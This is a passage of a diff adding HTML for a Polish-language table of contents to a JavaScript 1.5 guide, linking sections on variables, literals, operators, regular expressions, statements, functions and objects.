+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zmienne" title="pl/Przewodnik_po_języku_JavaScript_1.5/Zmienne">Zmienne</a></dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zmienne#Deklaracja_zmiennych" title="pl/Przewodnik_po_języku_JavaScript_1.5/Zmienne#Deklaracja_zmiennych">Deklaracja zmiennych</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zmienne#Ocena_zmiennych" title="pl/Przewodnik_po_języku_JavaScript_1.5/Zmienne#Ocena_zmiennych">Ocena zmiennych</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zmienne#Zakres_zmiennych" title="pl/Przewodnik_po_języku_JavaScript_1.5/Zmienne#Zakres_zmiennych">Zakres zmiennych</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Sta%C5%82e" title="pl/Przewodnik_po_języku_JavaScript_1.5/Stałe">Stałe</a></dd>
+</dl>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Litera%C5%82y" title="pl/Przewodnik_po_języku_JavaScript_1.5/Literały">Literały</a></dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Litera%C5%82y#Litera.C5.82y_tablicy" title="pl/Przewodnik_po_języku_JavaScript_1.5/Literały#Litera.C5.82y_tablicy">Literały tablicy</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Litera%C5%82y#Litera.C5.82y_logiczne" title="pl/Przewodnik_po_języku_JavaScript_1.5/Literały#Litera.C5.82y_logiczne">Literały logiczne</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Litera%C5%82y#Litera.C5.82y_ca.C5.82kowite" title="pl/Przewodnik_po_języku_JavaScript_1.5/Literały#Litera.C5.82y_ca.C5.82kowite">Literały całkowite</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Litera%C5%82y#Litera.C5.82y_zmiennoprzecinkowe" title="pl/Przewodnik_po_języku_JavaScript_1.5/Literały#Litera.C5.82y_zmiennoprzecinkowe">Literały zmiennoprzecinkowe</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Litera%C5%82y#Litera.C5.82y_obiektu" title="pl/Przewodnik_po_języku_JavaScript_1.5/Literały#Litera.C5.82y_obiektu">Literały obiektu</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Litera%C5%82y#Litera.C5.82y_znakowe" title="pl/Przewodnik_po_języku_JavaScript_1.5/Literały#Litera.C5.82y_znakowe">Literały znakowe</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Unicode" title="pl/Przewodnik_po_języku_JavaScript_1.5/Unicode">Unicode</a></dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Unicode#Unicode_zgodny_z_ASCII_i_ISO" title="pl/Przewodnik_po_języku_JavaScript_1.5/Unicode#Unicode_zgodny_z_ASCII_i_ISO">Unicode zgodny z ASCII i ISO</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Unicode#Sekwencje_ucieczki_do_Unicode" title="pl/Przewodnik_po_języku_JavaScript_1.5/Unicode#Sekwencje_ucieczki_do_Unicode">Sekwencje ucieczki do Unicode</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Unicode#Wy.C5.9Bwietlanie_czcionek_z_Unicode" title="pl/Przewodnik_po_języku_JavaScript_1.5/Unicode#Wy.C5.9Bwietlanie_czcionek_z_Unicode">Wyświetlanie czcionek z Unicode</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<h4 id="Wyra.C5.BCenia_i_operatory" name="Wyra.C5.BCenia_i_operatory">Wyrażenia i operatory</h4>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Wyra%C5%BCenia" title="pl/Przewodnik_po_języku_JavaScript_1.5/Wyrażenia">Wyrażenia</a></dd>
+</dl>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory" title="pl/Przewodnik_po_języku_JavaScript_1.5/Operatory">Operatory</a></dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_przypisania" title="pl/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operatory_przypisania">Operatory przypisania</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_por%C3%B3wnania" title="pl/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operatory_porównania">Operatory porównania</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_arytmetyczne" title="pl/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operatory_arytmetyczne">Operatory arytmetyczne</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_bitowe" title="pl/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operatory_bitowe">Operatory bitowe</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_logiczne" title="pl/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operatory_logiczne">Operatory logiczne</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operacje_na_%C5%82a%C5%84cuchach" title="pl/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operacje_na_łańcuchach">Operacje na łańcuchach</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_specjalne" title="pl/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operatory_specjalne">Operatory specjalne</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory#Pierwsze.C5.84stwo_operator.C3.B3w" title="pl/Przewodnik_po_języku_JavaScript_1.5/Operatory#Pierwsze.C5.84stwo_operator.C3.B3w">Pierwszeństwo operatorów</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<h4 id="Wyra.C5.BCenia_regularne" name="Wyra.C5.BCenia_regularne">Wyrażenia regularne</h4>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_wyra%C5%BCenia_regularnego" title="pl/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_wyrażenia_regularnego">Tworzenie wyrażenia regularnego</a></dd>
+</dl>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zapisywanie_wzorca_wyra%C5%BCenia_regularnego" title="pl/Przewodnik_po_języku_JavaScript_1.5/Zapisywanie_wzorca_wyrażenia_regularnego">Zapisywanie wzorca wyrażenia regularnego</a></dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zapisywanie_wzorca_wyra%C5%BCenia_regularnego#U.C5.BCywanie_prostego_wzoru" title="pl/Przewodnik_po_języku_JavaScript_1.5/Zapisywanie_wzorca_wyrażenia_regularnego#U.C5.BCywanie_prostego_wzoru">Używanie prostego wzoru</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zapisywanie_wzorca_wyra%C5%BCenia_regularnego#U.C5.BCywanie_specjalnych_znak.C3.B3w" title="pl/Przewodnik_po_języku_JavaScript_1.5/Zapisywanie_wzorca_wyrażenia_regularnego#U.C5.BCywanie_specjalnych_znak.C3.B3w">Używanie specjalnych znaków</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zapisywanie_wzorca_wyra%C5%BCenia_regularnego#U.C5.BCywanie_nawias.C3.B3w" title="pl/Przewodnik_po_języku_JavaScript_1.5/Zapisywanie_wzorca_wyrażenia_regularnego#U.C5.BCywanie_nawias.C3.B3w">Używanie nawiasów</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_wyra%C5%BCeniami_regularnymi" title="pl/Przewodnik_po_języku_JavaScript_1.5/Praca_z_wyrażeniami_regularnymi">Praca z wyrażeniami regularnymi</a></dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_wyra%C5%BCeniami_regularnymi/U%C5%BCycie_odpowiedniego_znaku" title="pl/Przewodnik_po_języku_JavaScript_1.5/Praca_z_wyrażeniami_regularnymi/Użycie_odpowiedniego_znaku">Użycie odpowiedniego znaku</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_wyra%C5%BCeniami_regularnymi/Globalne_wyszukiwanie,_wielko%C5%9B%C4%87_znak%C3%B3w,_wieloliniowe_wej%C5%9Bcie" title="pl/Przewodnik_po_języku_JavaScript_1.5/Praca_z_wyrażeniami_regularnymi/Globalne_wyszukiwanie,_wielkość_znaków,_wieloliniowe_wejście">Globalne wyszukiwanie, wielkość znaków, wieloliniowe wejście</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_wyra%C5%BCeniami_regularnymi/Przyk%C5%82ady_wyra%C5%BCe%C5%84_regularnych" title="pl/Przewodnik_po_języku_JavaScript_1.5/Praca_z_wyrażeniami_regularnymi/Przykłady_wyrażeń_regularnych">Przykłady</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<h4 id="Instrukcje" name="Instrukcje">Instrukcje</h4>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Blok_instrukcji" title="pl/Przewodnik_po_języku_JavaScript_1.5/Blok_instrukcji">Blok instrukcji</a></dd>
+</dl>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_warunkowe" title="pl/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_warunkowe">Instrukcje warunkowe</a></dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_warunkowe#Instrukcja_if...else" title="pl/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_warunkowe#Instrukcja_if...else">Instrukcja if...else</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_warunkowe#Instrukcja_switch" title="pl/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_warunkowe#Instrukcja_switch">Instrukcja switch</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli" title="pl/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli">Instrukcje pętli</a></dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_for" title="pl/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_for">Instrukcja for</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_do_...while" title="pl/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_do_...while">Instrukcja do...while</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_while" title="pl/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_while">Instrukcja while</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_label" title="pl/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_label">Instrukcja label</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_break" title="pl/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_break">Instrukcja break</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_continue" title="pl/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_continue">Instrukcja continue</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_manipulacji_obiektem" title="pl/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_manipulacji_obiektem">Instrukcje manipulacji obiektem</a></dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_manipulacji_obiektem#Instrukcja_for...in" title="pl/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_manipulacji_obiektem#Instrukcja_for...in">Instrukcja for...in</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_manipulacji_obiektem#Instrukcja_with" title="pl/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_manipulacji_obiektem#Instrukcja_with">Instrukcja with</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_komentarzy" title="pl/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_komentarzy">Komentarze</a></dd>
+</dl>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_obs%C5%82ugi_wyj%C4%85tk%C3%B3w" title="pl/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_obsługi_wyjątków">Instrukcje obsługi wyjątków</a></dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_obs%C5%82ugi_wyj%C4%85tk%C3%B3w/Instrukcja_throw" title="pl/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_obsługi_wyjątków/Instrukcja_throw">Instrukcja throw</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_obs%C5%82ugi_wyj%C4%85tk%C3%B3w/Instrukcja_try...catch" title="pl/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_obsługi_wyjątków/Instrukcja_try...catch">Instrukcja try...catch</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<h4 id="Funkcje" name="Funkcje">Funkcje</h4>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Definiowanie_funkcji" title="pl/Przewodnik_po_języku_JavaScript_1.5/Definiowanie_funkcji">Definiowanie funkcji</a></dd>
+</dl>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Wywo%C5%82anie_funkcji" title="pl/Przewodnik_po_języku_JavaScript_1.5/Wywołanie_funkcji">Wywołanie funkcji</a></dd>
+</dl>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zastosowanie_obiektu_arguments" title="pl/Przewodnik_po_języku_JavaScript_1.5/Zastosowanie_obiektu_arguments">Zastosowanie obiektu <code>arguments</code></a></dd>
+</dl>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane" title="pl/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane">Funkcje predefiniowane</a></dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_eval" title="pl/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_eval">Funkcja <code>eval</code></a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_isFinite" title="pl/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_isFinite">Funkcja <code>isFinite</code></a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_isNaN" title="pl/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_isNaN">Funkcja <code>isNaN</code></a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_parseInt_i_parseFloat" title="pl/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_parseInt_i_parseFloat">Funkcje <code>parseInt</code> i <code>parseFloat</code></a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_Number_i_String" title="pl/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_Number_i_String">Funkcje <code>Number</code> i <code>String</code></a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_escape_i_unescape" title="pl/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_escape_i_unescape">Funkcje <code>escape</code> i <code>unescape</code></a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_zamknięciami" title="pl/Przewodnik_po_języku_JavaScript_1.5/Praca_z_zamknięciami">Praca z zamknięciami</a></dd>
+</dl>
+
+<h4 id="Praca_z_obiektami" name="Praca_z_obiektami">Praca z obiektami</h4>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_i_w%C5%82asno%C5%9Bci" title="pl/Przewodnik_po_języku_JavaScript_1.5/Obiekty_i_własności">Obiekty i własności</a></dd>
+</dl>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w" title="pl/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów">Tworzenie nowych obiektów</a></dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/U%C5%BCywanie_inicjacji_obiektu" title="pl/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Używanie_inicjacji_obiektu">Używanie inicjacji obiektu</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Zastosowanie_konstruktor%C3%B3w_funkcji" title="pl/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Zastosowanie_konstruktorów_funkcji">Używanie konstruktorów funkcji</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Indeksowanie_w%C5%82asno%C5%9Bci_obiektu" title="pl/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Indeksowanie_własności_obiektu">Indeksowanie własności obiektu</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Definiowanie_w%C5%82asno%C5%9Bci_typu_obiektu" title="pl/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Definiowanie_własności_typu_obiektu">Definiowanie własności typu obiektu</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Definiowanie_metod" title="pl/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Definiowanie_metod">Definiowanie metod</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Zastosowanie_'this'_do_obiektu_referencji" title="pl/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Zastosowanie_'this'_do_obiektu_referencji">Używanie 'this' do obiektu referencji</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Definiowanie_metod_pobierania_i_ustawiania" title="pl/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Definiowanie_metod_pobierania_i_ustawiania">Definiowanie metod pobierania i ustawiania</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Usuwanie_w%C5%82asno%C5%9Bci" title="pl/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Usuwanie_własności">Usuwanie własności</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane" title="pl/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane">Obiekty predefiniowane</a></dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Array" title="pl/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Array">Obiekt <code>Array</code></a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Boolean" title="pl/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Boolean">Obiekt <code>Boolean</code></a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Date" title="pl/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Date">Obiekt <code>Date</code></a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_function" title="pl/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_function">Obiekt function</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Math" title="pl/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Math">Obiekt <code>Math</code></a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Number" title="pl/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Number">Obiekt <code>Number</code></a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_RegExp" title="pl/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_RegExp">Obiekt <code>RegExp</code></a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_String" title="pl/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_String">Obiekt <code>String</code></a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<h4 id="Detale_modelu_obiektowego" name="Detale_modelu_obiektowego">Detale modelu obiektowego</h4>
+
+<dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/J%C4%99zyki_oparte_na_klasach_vs._oparte_na_prototypach" title="pl/Przewodnik_po_języku_JavaScript_1.5/Języki_oparte_na_klasach_vs._oparte_na_prototypach">Języki oparte na klasach vs. oparte na prototypach</a></dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+ <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/J%C4%99zyki_oparte_na_klasach_vs._oparte_na_prototypach#Definiowanie_klasy" title="pl/Przewodnik_po_języku_JavaScript_1.5/Języki_oparte_na_klasach_vs._oparte_na_prototypach#Definiowanie_klasy">Definiowanie klasy</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
